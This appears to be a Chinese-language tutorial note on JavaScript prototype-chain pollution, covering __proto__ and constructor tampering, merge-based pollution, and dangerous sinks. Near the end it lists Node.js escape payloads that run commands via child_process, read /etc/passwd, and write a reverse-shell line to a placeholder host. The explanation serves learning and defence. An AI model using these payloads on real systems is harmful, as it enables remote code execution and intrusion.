js原型链污染
原理:
在 JavaScript
中,每个对象都有一个内部链接指向它的原型对象,类似于子类继承父类但是随手可以变更!
核心原理是利用 JavaScript
中对原型链的动态修改能力,通过 __proto__
或 constructor
特殊属性,污染 Object.prototype
,影响所有继承自它的对象。
__proto__
是每个对象的一个隐式属性,它指向其构造函数的原型对象。- 通过修改
__proto__
,可以动态更改对象的原型链,影响继承结构。
const obj = { a: 1 };
const hackerObject = { isAdmin: true };
// 手动将 obj 的原型指向 hackerObject
obj.__proto__ = hackerObject;
console.log(obj.isAdmin); // true —— 原型链已被篡改
constructor
是一个对象的特殊属性,指向构造它的函数。- 修改
constructor
可能会改变对象的构造函数行为,影响实例的创建过程。
const obj = {};
obj.constructor = function() {
console.log("被污染的构造函数");
};
new obj.constructor(); // 输出:被污染的构造函数
利用:
在实际中能够进行这种参数的函数一般有:
- 对象合并(merge)
- 对象克隆(clone)本质是将一个对象合并到空对象中
因此,见到merge()
,clone()
函数可以认为存在原型链污染
__proto__
作为键名被赋值时(要被解析),就可以修改
express
框架中,只要发包时Content-Type
为application/json
即可
引用https://www.freebuf.com/articles/web/264966.html一个例子
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
//得到1,2
o3 = {}
console.log(o3.b)
//得到2
console.log(o2)
//得到{"a": 1, "__proto__": {"b": 2}}
污染成功后的利用关键函数执行
函数 | 说明 | 常见攻击场景 |
---|---|---|
new Function() |
创建并运行新的函数,代码来源于字符串 | 配置文件、用户输入中嵌入恶意代码 |
eval() |
将字符串作为 JavaScript 代码执行 | 用户提供公式、表达式,未校验直接执行 |
setTimeout() |
如果第一个参数是字符串,会被解释为 JavaScript 代码 | 动态拼接用户输入到 setTimeout 中 |
setInterval() |
类似于 setTimeout() ,会周期性执行代码 |
定时执行用户提供的恶意代码 |
require() (在 Node.js 中) |
动态加载模块,如果模块路径是由用户输入决定,则可能加载恶意模块 | 通过污染路径,加载攻击者构造的恶意模块 |
结合对象分析
1.require
直接导入关键的child_process
模块来使用.execSync
来执行命令:
require('child_process').execSync('ls')
2.process
通过mainModule
来间接访问到require
,后面同理:
process.mainModule.require('child_process').execSync('ls')
3.module
和module.constructor
也一样:
module.constructor.prototype.require('child_process').execSync('ls')
4.Object.constructor
指向 Function
构造器,可以构造一个新函数:
{}.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls')
模块除了child_process
还有 fs
负责文件
文件读取require('fs').readFileSync('/etc/passwd').toString()
文件写入require('fs').writeFileSync('/tmp/malicious.sh', 'bash -i >& /dev/tcp/XXXX/4444 0>&1')
然后就是列出对象
Object.getOwnPropertyNames(this)
可以列出上下文所有对象,包括那些隐藏起来的
Comments NOTHING